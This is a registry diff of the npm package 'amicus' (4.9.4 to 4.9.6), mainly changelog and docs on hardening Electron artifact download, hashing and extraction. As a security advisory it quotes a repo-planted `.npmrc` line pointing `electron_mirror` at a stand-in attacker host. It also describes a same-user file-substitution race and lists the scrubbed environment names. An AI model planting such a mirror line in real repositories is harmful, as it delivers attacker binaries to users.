amicus 4.9.4 → 4.9.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/plugin.json +1 -1
- package/CHANGELOG.md +171 -3
- package/README.md +1 -1
- package/docs/ROADMAP.md +6 -4
- package/docs/architecture-map.md +31 -3
- package/docs/configuration.md +97 -0
- package/docs/troubleshooting.md +130 -0
- package/docs/usage.md +1 -1
- package/package.json +2 -1
- package/scripts/postinstall.js +28 -3
- package/src/sidecar/electron-cache.js +41 -1
- package/src/sidecar/electron-custody.js +180 -0
- package/src/sidecar/electron-ensure.js +25 -4
- package/src/sidecar/electron-env-scrub.js +233 -0
- package/src/sidecar/electron-install.js +149 -159
- package/src/sidecar/electron-layout.js +300 -0
- package/src/sidecar/electron-native-plan.js +157 -0
- package/src/sidecar/electron-native-rescue.js +231 -0
- package/src/sidecar/electron-provision.js +232 -0
- package/src/sidecar/electron-refuse.js +253 -0
- package/src/sidecar/electron-repair-cache.js +212 -0
- package/src/sidecar/electron-rescue-notice.js +78 -0
- package/src/sidecar/electron-trust.js +226 -0
- package/src/sidecar/unzip.js +52 -2
- package/src/sidecar/zip-entry-write.js +268 -0
- package/src/sidecar/zip-from-buffer.js +220 -0
- package/src/sidecar/zip-name-scan.js +141 -0
- package/src/sidecar/zip-stall-bound.js +144 -0
- package/src/utils/doctor-electron-mcp-check.js +9 -2
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amicus",
|
|
3
|
-
"version": "4.9.
|
|
3
|
+
"version": "4.9.6",
|
|
4
4
|
"description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
|
|
5
5
|
"author": {
|
|
6
6
|
"name": "Christian Wagner"
|
package/CHANGELOG.md
CHANGED
|
@@ -3,6 +3,174 @@
|
|
|
3
3
|
All notable changes to Amicus are documented here. Format follows
|
|
4
4
|
[Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow semver.
|
|
5
5
|
|
|
6
|
+
## [4.9.6] - 2026-09-08
|
|
7
|
+
|
|
8
|
+
*Amicus never itself writes, or reports as verified, bytes it did not hash.*
|
|
9
|
+
|
|
10
|
+
v4.9.5 hashed the Electron artifact **at a path** and then handed **that path** to an extractor,
|
|
11
|
+
which re-opened it. Anyone able to write the Electron cache directory — running as the same user —
|
|
12
|
+
could substitute the bytes in between, and the swapped archive was extracted and launched. Three
|
|
13
|
+
remedies were tried and two were defeated by measurement before one held; the failures are recorded
|
|
14
|
+
below because they are the useful part.
|
|
15
|
+
|
|
16
|
+
### Security
|
|
17
|
+
|
|
18
|
+
- **The artifact is read once, into memory, and never re-opened (#237).** One `open`, `fstat` on the
|
|
19
|
+
descriptor rather than `stat` on the name, positional reads into a single Buffer, sha256 over
|
|
20
|
+
**that Buffer**, extraction from **that Buffer**. There is no second path resolution left to race:
|
|
21
|
+
instrumenting every path-taking call across a full repair records exactly one `openSync` of the
|
|
22
|
+
artifact, and poisoning the file on disk afterwards cannot alter the hashed bytes. Both the cached
|
|
23
|
+
and the downloaded routes go through it.
|
|
24
|
+
|
|
25
|
+
**What was tried first, and why it failed** — because "we staged it privately" is the intuition
|
|
26
|
+
this release exists to correct:
|
|
27
|
+
- *Rename into a private directory.* A rename moves a directory **entry**, not an inode. An
|
|
28
|
+
attacker who hard-links the cache entry keeps a name for the same bytes and writes through it
|
|
29
|
+
after the rename.
|
|
30
|
+
- *Copy into a `0700` directory under the system temp.* `0700` excludes **other** users, not the
|
|
31
|
+
one the threat model actually assumes. Worse in practice: the directory prefix was fixed and
|
|
32
|
+
discoverable on a first `readdir`, and on Windows the `chmod` was skipped entirely, so the mode
|
|
33
|
+
was never even attempted.
|
|
34
|
+
- *A retained file descriptor.* Not custody either: a same-user `writeFileSync` truncates and
|
|
35
|
+
rewrites the **same inode**, and the held descriptor then reads the substituted bytes.
|
|
36
|
+
|
|
37
|
+
- **The last-resort Electron installer is deleted.** It performed its own download and extraction,
|
|
38
|
+
bypassing every control this release adds; it pinned checksums out of the **scanned** directory,
|
|
39
|
+
reopening the anchor hole v4.9.5 closed; and it extracted with no stall bound at all. Its one
|
|
40
|
+
claimed justification — that amicus's dependency tree might fail to resolve `@electron/get` where
|
|
41
|
+
Electron's own tree succeeds — was measured false from both resolution paths.
|
|
42
|
+
|
|
43
|
+
- **A native-extractor rescue exists, but only behind `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`.** Every
|
|
44
|
+
OS extractor takes a **path**, so using one means writing bytes down and letting a child process
|
|
45
|
+
open them — the exact custody the rest of this release establishes. That trade is available only
|
|
46
|
+
under a flag whose documented meaning is already "I accept Electron bytes amicus cannot vouch
|
|
47
|
+
for", it is announced on stderr **before** the child is spawned in the terms above rather than as
|
|
48
|
+
a safe operation, and its result is always marked `unverified` even when the artifact's own sha256
|
|
49
|
+
matched. It fires on one classified failure — the extractor's positive "this archive is bad"
|
|
50
|
+
verdict — and on nothing else: a path-traversal refusal stays terminal and does not even mention
|
|
51
|
+
the flag, because inviting a retry would be laundering a security refusal through a human.
|
|
52
|
+
|
|
53
|
+
- **`yauzl` is now a declared dependency.** It previously resolved only through `extract-zip`, which
|
|
54
|
+
is the shape of the v4.5.2 outage this project already recorded.
|
|
55
|
+
|
|
56
|
+
- **The repo-plantable Electron mirror names are scrubbed around amicus's own in-process download**,
|
|
57
|
+
not only the (now removed) child spawn. Measured against the installed library rather than
|
|
58
|
+
assumed: on the pinned route all twenty reads land inside the scrub window and none after. A
|
|
59
|
+
contract test re-runs that measurement on every suite run, so a library that moves a read past an
|
|
60
|
+
`await` fails here rather than in the field.
|
|
61
|
+
|
|
62
|
+
### Fixed
|
|
63
|
+
|
|
64
|
+
- **A promote can no longer cost you a working install.** `path.txt` is written **first**, while
|
|
65
|
+
`dist/` is still whole — its value never depended on the new tree — and a failure there refuses
|
|
66
|
+
the promote instead of leaving a replacement Electron the npm entry point cannot resolve. A
|
|
67
|
+
`path.txt` naming another platform's executable (an `npm_config_platform` cross-install) is
|
|
68
|
+
captured and restored on every failure exit.
|
|
69
|
+
- **The in-memory extraction is bounded and actually stops.** The idle bound arms on **bytes the
|
|
70
|
+
destination accepted**, so a single large file on slow storage is not mistaken for a stall, and
|
|
71
|
+
firing it aborts the pipeline rather than merely reporting a failure while the work continues.
|
|
72
|
+
- **Extraction litter is swept.** Incoming and retired trees from an interrupted promote no longer
|
|
73
|
+
accrete in the Electron package.
|
|
74
|
+
|
|
75
|
+
### Known limits, stated rather than implied
|
|
76
|
+
|
|
77
|
+
- **The symlink handling is unverified on macOS and Linux.** The darwin artifact is an `.app` bundle
|
|
78
|
+
containing real symlinks, and the target-escape check added here is a behaviour `extract-zip` does
|
|
79
|
+
not have — it could reject a layout that previously worked. It could not be exercised on the
|
|
80
|
+
machine this was built on.
|
|
81
|
+
- Peak memory during a repair rises to roughly 210–260 MB, floored at the artifact size.
|
|
82
|
+
- Unchanged from v4.9.5: `registry=` in a hostile `.npmrc` dominates every control here and amicus
|
|
83
|
+
cannot close it; Electron's own npm postinstall runs before any amicus code; nothing verifies the
|
|
84
|
+
binary at launch — this closes acquisition, not custody of what is already installed; and where no
|
|
85
|
+
published digest covers an artifact at all, those bytes are extracted and marked `unverified`
|
|
86
|
+
rather than refused.
|
|
87
|
+
- Three findings from the final review are deferred to 4.9.7 and filed in `BACKLOG.md`: a failed
|
|
88
|
+
`dist` retirement can still delete a working install whose `path.txt` names another platform's
|
|
89
|
+
executable; a truncated archive whose entry names cannot be read reaches the native rescue; and
|
|
90
|
+
the rescue's cleanup does not reach writes a native tool makes outside its own directory.
|
|
91
|
+
|
|
92
|
+
## [4.9.5] - 2026-09-07
|
|
93
|
+
|
|
94
|
+
*A repository you cloned could choose which bytes became your Electron.*
|
|
95
|
+
|
|
96
|
+
npm exports an `.npmrc` key it does not recognise to every child process it spawns, so a repository
|
|
97
|
+
containing one line — `electron_mirror=http://attacker.example/evil/` — reaches `npx -y amicus@latest`
|
|
98
|
+
as `npm_config_electron_mirror`. `@electron/get` reads that name **above** its own default
|
|
99
|
+
(`artifact-utils.js`), and validates the download against a `SHASUMS256.txt` fetched from the *same*
|
|
100
|
+
redirected host, so the checksum verified the attacker's file against the attacker's checksum. Amicus
|
|
101
|
+
passed no digest of its own. Amicus's own skills, troubleshooting page and Claude Code registration
|
|
102
|
+
all invoke it as `npx -y amicus@latest`, whose npm prefix is whatever directory you are sitting in.
|
|
103
|
+
Amicus then launches the extracted binary for the GUI. Every link was measured, end to end.
|
|
104
|
+
|
|
105
|
+
### Security
|
|
106
|
+
|
|
107
|
+
- **The Electron artifact is now pinned to the digest Electron publishes, on both routes (#236).**
|
|
108
|
+
Four controls, each independently testable:
|
|
109
|
+
- **The download carries `checksums`**, read from `checksums.json` inside the Electron npm package —
|
|
110
|
+
the same anchor Electron's own installer uses. With a digest supplied, `@electron/get` writes a
|
|
111
|
+
**local** `SHASUMS256.txt` and never fetches one, so a redirected mirror can still serve bytes but
|
|
112
|
+
they must match what Electron published. This is the control that breaks the chain.
|
|
113
|
+
- **A cached artifact is hashed before it is extracted.** That route runs *first* — on every
|
|
114
|
+
`npm install -g amicus`, on first GUI use, and on `doctor --fix` — and previously accepted any
|
|
115
|
+
file with the right name from any subdirectory of a cache root, with no verification of any kind.
|
|
116
|
+
A mismatch is refused and the file removed; the removal is fenced through the repo's own realpath
|
|
117
|
+
fence and a basename check, so it is strictly narrower than the unconditional delete it replaces.
|
|
118
|
+
- **The Electron installer's environment is scrubbed.** The last-resort path spawns Electron's own
|
|
119
|
+
`install.js`, which honours the mirror *and* a remote-checksum override; without this, pinning the
|
|
120
|
+
in-process download would merely have funnelled an attacker into an unpinned downloader. Every
|
|
121
|
+
repo-plantable `npm_config_electron_*` / `npm_package_config_electron_*` name is removed —
|
|
122
|
+
case-insensitively, because a repo `package.json` `config` key reaches the child with its case
|
|
123
|
+
preserved — along with `npm_config_platform` and `npm_config_arch`, which choose *which* artifact
|
|
124
|
+
that installer fetches. `ELECTRON_INSTALL_PLATFORM` / `_ARCH` are pinned to amicus's own resolution.
|
|
125
|
+
- **An archive refused for path traversal is terminal.** `robustExtract` treated extract-zip's own
|
|
126
|
+
"invalid relative path" / "absolute path" refusals exactly like a stall: clean the directory and
|
|
127
|
+
re-run the same archive through an OS extractor amicus does not control. Such a refusal now throws
|
|
128
|
+
`UNZIP_UNSAFE_ARCHIVE`, is not retried at either call site, and the file is kept as evidence rather
|
|
129
|
+
than deleted. A **stall** still falls back — that fallback is the Node-24 workaround this module
|
|
130
|
+
exists for, and a test pins the distinction.
|
|
131
|
+
|
|
132
|
+
The digest anchor is read from the **running amicus's own** Electron package in preference to the
|
|
133
|
+
directory being repaired. That is load-bearing rather than tidy: `doctor --fix` hands the repair a
|
|
134
|
+
directory found by scanning npx caches, and reading the digest out of the same directory the bytes
|
|
135
|
+
came from would have let it vouch for itself — measured, before the fix, as `repaired: true` over
|
|
136
|
+
bytes reading `POISONED-BYTES`.
|
|
137
|
+
|
|
138
|
+
One documented escape hatch, `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`, exists for the one legitimate
|
|
139
|
+
case (you deliberately run a rebuilt Electron). It is a bare environment name, which a repository
|
|
140
|
+
cannot plant; it accepts a contradicting cached artifact and drops the pin on a download; it
|
|
141
|
+
re-enables nothing else. Bare `ELECTRON_MIRROR` stays honoured — that spelling is not
|
|
142
|
+
repo-injectable, so it carries the machine owner's intent, and the digest is enforced either way.
|
|
143
|
+
|
|
144
|
+
- **What this does NOT close, stated plainly.** `registry=` in a hostile `.npmrc` dominates every
|
|
145
|
+
control above: under `npx`, amicus itself, the Electron tarball and its `checksums.json` would all
|
|
146
|
+
come from the attacker, and the pin would then faithfully vouch for attacker bytes. Electron's own
|
|
147
|
+
npm postinstall runs with the hostile environment live, before any amicus code executes. Nothing
|
|
148
|
+
verifies `dist/electron.exe` at launch — this closes acquisition, not custody. Extraction output is
|
|
149
|
+
still not fenced, and the extractor still reports success when any file lands. And where **no**
|
|
150
|
+
published digest covers an artifact — an Electron package with no `checksums.json`, or one whose own
|
|
151
|
+
metadata names a version amicus holds no entry for — there is nothing to contradict: those bytes are
|
|
152
|
+
extracted and marked `unverified` rather than refused, because refusing would strand every older
|
|
153
|
+
Electron in a re-download loop. Run `npx -y amicus@latest` from a directory you trust.
|
|
154
|
+
|
|
155
|
+
### Fixed
|
|
156
|
+
|
|
157
|
+
- **Three advisories that reached the published dependency tree.** `fast-uri` (two high, SSRF) via
|
|
158
|
+
`@modelcontextprotocol/sdk` → `ajv`, and `qs` (moderate) via the same SDK → `express`. Fixed by a
|
|
159
|
+
targeted update of exactly those two packages and their own closure — five lockfile entries — rather
|
|
160
|
+
than `npm audit fix`, which wanted to move 31 packages, almost all of them puppeteer's dev tree
|
|
161
|
+
including a major. `extract-zip`, the remaining production-tree advisory, has no fixed version at
|
|
162
|
+
any release and is addressed by the trust work above instead of by a bump.
|
|
163
|
+
- **Two records that asserted things that were not true.** The released 4.9.4 notes said "Twenty-four
|
|
164
|
+
probe rows" and "the full 61-case matrix", both stale at the tag — M23 joined the M group during
|
|
165
|
+
council #235 round 3 without the matrix being re-run, so the group is twenty-five rows and the filed
|
|
166
|
+
matrix is 62 cases, which the BACKLOG already said while the CHANGELOG contradicted it. And the
|
|
167
|
+
backlog's own audit filing recorded `extract-zip` as dev-only "via puppeteer"; it is a direct
|
|
168
|
+
production dependency, and calling it dev-only is exactly the reasoning that would have let it sit.
|
|
169
|
+
- **`docs/ROADMAP.md`'s status lines are now pinned in the release commit.** They ship in the npm
|
|
170
|
+
tarball and they are a factual claim about the current version, but they were updated in the
|
|
171
|
+
post-ship pass, which runs *after* the tag — so every published package has named the previous
|
|
172
|
+
release. `v4.9.4`'s roadmap says "v4.9.3"; `v4.9.3`'s says "v4.9.0". Verified across three tags.
|
|
173
|
+
|
|
6
174
|
## [4.9.4] - 2026-09-07
|
|
7
175
|
|
|
8
176
|
*The effort level was never on the wire, and the budget stopped at the routes the catalog could clamp.*
|
|
@@ -125,9 +293,9 @@ provider, so the pinned engine's outbound fields can be read under each shape Am
|
|
|
125
293
|
error, a dead engine) sends the level unverified after ONE read, and the log line says so. `max`
|
|
126
294
|
joins the vocabulary (`none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max` — the levels the
|
|
127
295
|
curated routes declare between them, M0). The level SENT rides the run document (`variant`), the
|
|
128
|
-
spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-
|
|
129
|
-
rows (
|
|
130
|
-
ships — the full
|
|
296
|
+
spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-five probe
|
|
297
|
+
rows (the M group; M18-M21 driven through amicus's own `sendPrompt`) measured every shape this
|
|
298
|
+
ships — the full 62-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
|
|
131
299
|
M2, M10b and M17. Council seats have no effort knob in this release (filed as the owner's
|
|
132
300
|
decision).
|
|
133
301
|
|
package/README.md
CHANGED
package/docs/ROADMAP.md
CHANGED
|
@@ -13,11 +13,13 @@ lives under **Backlog (tracked, not scheduled)** with everything else that is re
|
|
|
13
13
|
Nothing about the content changed and no judgment about its value is implied; only its status. When
|
|
14
14
|
an org buyer and the org to support them exist, it earns a number then.
|
|
15
15
|
|
|
16
|
-
Amicus is at **v4.9.
|
|
17
|
-
plumbing; the patch releases since v4.9.0 carry no section of their own, because
|
|
18
|
-
|
|
16
|
+
Amicus is at **v4.9.6** (2026-09-08). Each 4.x rev below leads with the benefit, not the
|
|
17
|
+
plumbing; the patch releases since v4.9.0 carry no section of their own, because each corrected a
|
|
18
|
+
defect rather than adding scope — where one added a surface (v4.9.4's `--thinking` refusals and
|
|
19
|
+
`output-budget` doctor row, v4.9.5's Electron digest gate, v4.9.6's artifact custody) it did so to
|
|
20
|
+
make an existing promise true, not to widen it. See `CHANGELOG.md` for what each one contained.
|
|
19
21
|
|
|
20
|
-
**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.
|
|
22
|
+
**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.6 patch releases —
|
|
21
23
|
everything on this page is a record of what landed, not a plan. Composition — the scope that
|
|
22
24
|
carried the number v4.6 here until the degrade-announcement-invariant milestone took the v4.6.0
|
|
23
25
|
release (2026-08-02) — is now an unscheduled candidate for the next rev, tabled in its own section
|
package/docs/architecture-map.md
CHANGED
|
@@ -109,11 +109,21 @@ src/
|
|
|
109
109
|
│ ├── conversation-mirror.js
|
|
110
110
|
│ ├── crash-handler.js # Crash Handler - Updates metadata to 'error' on uncaught exceptions
|
|
111
111
|
│ ├── electron-cache.js # Electron download-cache root resolution (#53 helper).
|
|
112
|
+
│ ├── electron-custody.js # CUSTODY of the Electron artifact: one open, one read, one Buffer.
|
|
112
113
|
│ ├── electron-ensure.js # ensureElectron() — lazy first-GUI provisioning (#55).
|
|
114
|
+
│ ├── electron-env-scrub.js # The ENV SCRUB — which environment names a hostile REPOSITORY can plant.
|
|
113
115
|
│ ├── electron-install.js # Electron self-heal primitive (#53, #59).
|
|
116
|
+
│ ├── electron-layout.js # The on-disk LAYOUT of an installed `electron` package: where the executable
|
|
114
117
|
│ ├── electron-lock.js # Stale-aware single-flight lock for the electron self-heal (#53).
|
|
118
|
+
│ ├── electron-native-plan.js # THE MECHANICS OF A RESCUE: write the verified buffer down, walk the platform's
|
|
119
|
+
│ ├── electron-native-rescue.js # THE NATIVE-EXTRACTOR RESCUE — the one way an archive amicus's own extractor
|
|
120
|
+
│ ├── electron-provision.js # Electron CONTROLLED provision — the pinned download, and the fence that says
|
|
115
121
|
│ ├── electron-quarantine.js # AV / antivirus quarantine detection for the electron self-heal (#53).
|
|
122
|
+
│ ├── electron-refuse.js # Electron artifact REFUSALS — the ways amicus declines to turn bytes into an
|
|
123
|
+
│ ├── electron-repair-cache.js # ATTEMPT 1 of the electron self-heal: turn a CACHED artifact into a `dist/`,
|
|
124
|
+
│ ├── electron-rescue-notice.js # THE TWO NOTICES the native-extractor rescue speaks — the offer a parse failure
|
|
116
125
|
│ ├── electron-state.js # Electron install-state probes (#76).
|
|
126
|
+
│ ├── electron-trust.js # Electron artifact TRUST core — the digest anchor and the gate. (The third
|
|
117
127
|
│ ├── fallback-chains.js
|
|
118
128
|
│ ├── fanout-budget.js
|
|
119
129
|
│ ├── fanout-leg-fallback.js
|
|
@@ -153,7 +163,11 @@ src/
|
|
|
153
163
|
│ ├── unzip.js # Robust unzip for the electron self-heal (#53 follow-up; extract-zip-node24).
|
|
154
164
|
│ ├── wave-progress.js
|
|
155
165
|
│ ├── workspace-auto-open.js # Workspace Auto-Open Decision Helper
|
|
156
|
-
│
|
|
166
|
+
│ ├── workspace-window.js # Council Workspace launcher (v4.4 §4.3/§4.4) — setup-window.js pattern:
|
|
167
|
+
│ ├── zip-entry-write.js # ONE ENTRY of an in-memory archive, and the classified failures every caller
|
|
168
|
+
│ ├── zip-from-buffer.js # Extract an archive that is ALREADY IN MEMORY and ALREADY HASHED.
|
|
169
|
+
│ ├── zip-name-scan.js # WHAT NAMES DOES THIS ARCHIVE DECLARE? A read-only walk of the central
|
|
170
|
+
│ └── zip-stall-bound.js # WHEN AMICUS GIVES UP ON AN IN-MEMORY EXTRACTION, and how it stops the work.
|
|
157
171
|
├── template/
|
|
158
172
|
│ ├── apply.js
|
|
159
173
|
│ ├── render.js
|
|
@@ -548,12 +562,22 @@ evals/
|
|
|
548
562
|
| `sidecar/continue.js` | Sidecar Continue Operations - Handles continuing from previous sessions | `loadPreviousSession()`, `buildContinuationContext()`, `createContinueSessionMetadata()`, `continueSidecar()` |
|
|
549
563
|
| `sidecar/conversation-mirror.js` | | `createMirrorState()`, `mirrorMessages()`, `logMessage()`, `mirrorUsageOnly()`, `allAssistantUsagePresent()` |
|
|
550
564
|
| `sidecar/crash-handler.js` | Crash Handler - Updates metadata to 'error' on uncaught exceptions | `installCrashHandler()` |
|
|
551
|
-
| `sidecar/electron-cache.js` | Electron download-cache root resolution (#53 helper). | `resolveCacheRoots()`, `defaultCacheRoot()` |
|
|
565
|
+
| `sidecar/electron-cache.js` | Electron download-cache root resolution (#53 helper). | `resolveCacheRoots()`, `defaultCacheRoot()`, `cachedZip()` |
|
|
566
|
+
| `sidecar/electron-custody.js` | CUSTODY of the Electron artifact: one open, one read, one Buffer. | `readArtifactBytes()`, `isSafeArtifactName()`, `MAX_ARTIFACT_BYTES()`, `READ_CHUNK()` |
|
|
552
567
|
| `sidecar/electron-ensure.js` | ensureElectron() — lazy first-GUI provisioning (#55). | `ensureElectron()`, `_resetEnsureElectron()` |
|
|
568
|
+
| `sidecar/electron-env-scrub.js` | The ENV SCRUB — which environment names a hostile REPOSITORY can plant. | `isRepoPlantedName()`, `withScrubbedRepoEnv()`, `REPO_ENV_PREFIXES()` |
|
|
553
569
|
| `sidecar/electron-install.js` | Electron self-heal primitive (#53, #59). | `resolveElectronBinary()`, `isElectronUsable()`, `cachedZip()`, `repairElectron()`, `platformExe()` |
|
|
570
|
+
| `sidecar/electron-layout.js` | The on-disk LAYOUT of an installed `electron` package: where the executable | `platformExe()`, `writePathTxt()`, `promoteDist()`, `extractBytesToDist()`, `sweepPromoteLitter()` |
|
|
554
571
|
| `sidecar/electron-lock.js` | Stale-aware single-flight lock for the electron self-heal (#53). | `acquireRepairLock()`, `isStaleLock()`, `lockPathFor()`, `STALE_MS()` |
|
|
572
|
+
| `sidecar/electron-native-plan.js` | THE MECHANICS OF A RESCUE: write the verified buffer down, walk the platform's | `nativeRescue()`, `RESCUE_ZIP()`, `INCOMING_PREFIX()` |
|
|
573
|
+
| `sidecar/electron-native-rescue.js` | THE NATIVE-EXTRACTOR RESCUE — the one way an archive amicus's own extractor | `withNativeRescue()`, `isRescuableFailure()`, `RESCUE_TRIGGER()`, `RESCUE_ZIP()`, `INCOMING_PREFIX()` |
|
|
574
|
+
| `sidecar/electron-provision.js` | Electron CONTROLLED provision — the pinned download, and the fence that says | `cacheRootFor()`, `controlledProvision()`, `mayDeleteRejectedZip()` |
|
|
555
575
|
| `sidecar/electron-quarantine.js` | AV / antivirus quarantine detection for the electron self-heal (#53). | `avHint()`, `quarantineReason()`, `verifyExtractOutcome()` |
|
|
576
|
+
| `sidecar/electron-refuse.js` | Electron artifact REFUSALS — the ways amicus declines to turn bytes into an | `isUnsafeArchive()`, `refuseUnsafeArchive()`, `rejectCachedZip()`, `rejectDownloadedZip()`, `refuseUnreadableArtifact()` |
|
|
577
|
+
| `sidecar/electron-repair-cache.js` | ATTEMPT 1 of the electron self-heal: turn a CACHED artifact into a `dist/`, | `repairFromCache()` |
|
|
578
|
+
| `sidecar/electron-rescue-notice.js` | THE TWO NOTICES the native-extractor rescue speaks — the offer a parse failure | `offerNativeRescue()`, `announceNativeRescue()` |
|
|
556
579
|
| `sidecar/electron-state.js` | Electron install-state probes (#76). | `electronDirFor()`, `probeElectronState()` |
|
|
580
|
+
| `sidecar/electron-trust.js` | Electron artifact TRUST core — the digest anchor and the gate. (The third | `electronTrustPolicy()`, `resolveAnchor()`, `expectedDigest()`, `verifyArtifactBytes()`, `sha256Bytes()` |
|
|
557
581
|
| `sidecar/fallback-chains.js` | | `resolveFallbackConfig()`, `deriveChain()`, `vendorOf()`, `DEFAULT_MAX_SUBSTITUTIONS()` |
|
|
558
582
|
| `sidecar/fanout-budget.js` | | `preflightBudget()` |
|
|
559
583
|
| `sidecar/fanout-leg-fallback.js` | | `runLegWithFallback()`, `recordAttemptSpend()`, `sumAttemptUsage()` |
|
|
@@ -590,10 +614,14 @@ evals/
|
|
|
590
614
|
| `sidecar/start-metadata.js` | | `createSessionMetadata()` |
|
|
591
615
|
| `sidecar/start.js` | Sidecar Start Operations - Handles starting new sidecar sessions | `generateTaskId()`, `createSessionMetadata()`, `buildMcpConfig()`, `checkElectronAvailable()`, `runInteractive()` |
|
|
592
616
|
| `sidecar/tool-part.js` | | `TERMINAL_TOOL_STATUSES()`, `LIVE_TOOL_STATUSES()`, `isToolPart()`, `toolPartName()`, `toolPartInput()` |
|
|
593
|
-
| `sidecar/unzip.js` | Robust unzip for the electron self-heal (#53 follow-up; extract-zip-node24). | `robustExtract()`, `nativeUnzipPlan()`, `IDLE_MS()`, `MAX_MS()` |
|
|
617
|
+
| `sidecar/unzip.js` | Robust unzip for the electron self-heal (#53 follow-up; extract-zip-node24). | `robustExtract()`, `nativeUnzipPlan()`, `IDLE_MS()`, `MAX_MS()`, `UNSAFE_PATTERNS()` |
|
|
594
618
|
| `sidecar/wave-progress.js` | | `formatWaveProgress()`, `readLegState()`, `createWaveHeartbeat()`, `WAVE_HEARTBEAT_INTERVAL()` |
|
|
595
619
|
| `sidecar/workspace-auto-open.js` | Workspace Auto-Open Decision Helper | `shouldAutoOpenWorkspace()` |
|
|
596
620
|
| `sidecar/workspace-window.js` | Council Workspace launcher (v4.4 §4.3/§4.4) — setup-window.js pattern: | `launchWorkspaceWindow()`, `launchWorkspaceWindowDetached()` |
|
|
621
|
+
| `sidecar/zip-entry-write.js` | ONE ENTRY of an in-memory archive, and the classified failures every caller | `failure()`, `badArchive()`, `badDestination()`, `outOfBound()`, `extractorUnavailable()` |
|
|
622
|
+
| `sidecar/zip-from-buffer.js` | Extract an archive that is ALREADY IN MEMORY and ALREADY HASHED. | `extractZipBuffer()` |
|
|
623
|
+
| `sidecar/zip-name-scan.js` | WHAT NAMES DOES THIS ARCHIVE DECLARE? A read-only walk of the central | `scanEntryNames()`, `nameRefusal()`, `SCAN_MS()`, `MAX_ENTRIES()` |
|
|
624
|
+
| `sidecar/zip-stall-bound.js` | WHEN AMICUS GIVES UP ON AN IN-MEMORY EXTRACTION, and how it stops the work. | `IDLE_MS()`, `MAX_MS()`, `UNWIND_MS()`, `stalled()`, `awaitUnwind()` |
|
|
597
625
|
| `template/apply.js` | | `applyTemplate()`, `ARTIFACT_CAP_BYTES()` |
|
|
598
626
|
| `template/render.js` | | `renderTemplate()`, `KNOWN_VARIABLES()` |
|
|
599
627
|
| `template/store.js` | | `templatesDir()`, `resolveTemplate()`, `listTemplates()`, `BUILTIN_TEMPLATES()` |
|
package/docs/configuration.md
CHANGED
|
@@ -343,6 +343,103 @@ These variables control the polling loop that drives headless sessions. The defa
|
|
|
343
343
|
| `AMICUS_GUI_LOAD_TIMEOUT_MS` | Maximum wait in milliseconds for the Electron UI to load before the load-failsafe fires. If the OpenCode web UI fails to respond within this window, Amicus shows a load-error page instead of hanging invisibly. | `15000` |
|
|
344
344
|
| `AMICUS_DEBUG_PORT` | Chrome DevTools Protocol port for the Electron window. Increment (e.g. `9223`) to avoid conflicts with a running Chrome or another Amicus window. | `9222` |
|
|
345
345
|
| `AMICUS_MOCK_UPDATE` | Mock the update-notification state for UI development. Values: `available` \| `updating` \| `success` \| `error`. Has no effect outside development. | *(unset)* |
|
|
346
|
+
| `AMICUS_ALLOW_UNVERIFIED_ELECTRON` | Accept an Electron artifact whose sha256 does **not** match the digest Electron publishes for it, with a loud warning on every use instead of a refusal, **and** arm the native-extractor rescue for an archive amicus cannot read (below). On a **cached** artifact it downgrades the refusal to a warning; on a **download** it also drops the published-digest pin, so `@electron/get` falls back to the `SHASUMS256.txt` of whatever mirror you pointed it at — without that, a legitimately rebuilt Electron could never be fetched at all, only accepted if it was already in a cache root. For two cases only: you deliberately run a **rebuilt** Electron whose bytes legitimately differ, or amicus cannot read an archive at all and you have no other copy of it. True for the exact string `1` — `true`, `yes` and ` 1` are all false, because a hatch that fails open on a typo is not a hatch. | *(unset)* |
|
|
347
|
+
|
|
348
|
+
> **What `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not do.** It arms exactly the two
|
|
349
|
+
> things this page describes — the digest relaxation in the table above, and the
|
|
350
|
+
> native-extractor rescue in the blockquote below — and re-enables nothing beyond
|
|
351
|
+
> them. `npm_config_electron_mirror`, `npm_package_config_electron_*`
|
|
352
|
+
> and `npm_config_electron_use_remote_checksums` are stripped from the
|
|
353
|
+
> environment while amicus works out **where the artifact comes from**, whether
|
|
354
|
+
> this variable is set or not — those are the names a *repository* can plant
|
|
355
|
+
> through its own `.npmrc` or `package.json`, which is why this variable is a
|
|
356
|
+
> plain environment variable read
|
|
357
|
+
> under that exact bare spelling only: a repo-planted
|
|
358
|
+
> `npm_config_amicus_allow_unverified_electron` reads back as unset. (`platform`
|
|
359
|
+
> and `arch` are no longer scrubbed anywhere, because there is no longer a child
|
|
360
|
+
> installer to hand an environment to: amicus's downloader takes them as
|
|
361
|
+
> arguments, so no environment name can choose which artifact is fetched.) It also does not change where the download comes from — a real
|
|
362
|
+
> `ELECTRON_MIRROR` environment variable is honoured exactly as before, set or
|
|
363
|
+
> unset. What it *does* relax, deliberately and on both routes, is the digest:
|
|
364
|
+
> with it set, a cached artifact that contradicts Electron's published sha256 is
|
|
365
|
+
> accepted with a warning, and a download is no longer pinned to that sha256
|
|
366
|
+
> (`@electron/get` then trusts the `SHASUMS256.txt` served alongside the artifact).
|
|
367
|
+
> Leave it unset and the published digest is enforced on both routes.
|
|
368
|
+
|
|
369
|
+
> **The second thing it arms: the native-extractor rescue, and the window that
|
|
370
|
+
> opens.** Amicus extracts the Electron archive **in memory**, from the buffer it
|
|
371
|
+
> hashed — nothing is written to a path and handed to anything else, which is what
|
|
372
|
+
> makes "amicus only ever writes bytes it hashed" true. The cost is that an
|
|
373
|
+
> archive its own extractor cannot read has nowhere else to go: normally that is a
|
|
374
|
+
> failed repair and a re-download, and on an air-gapped machine there is no
|
|
375
|
+
> re-download, so it is the end of the road. With this variable set, that one
|
|
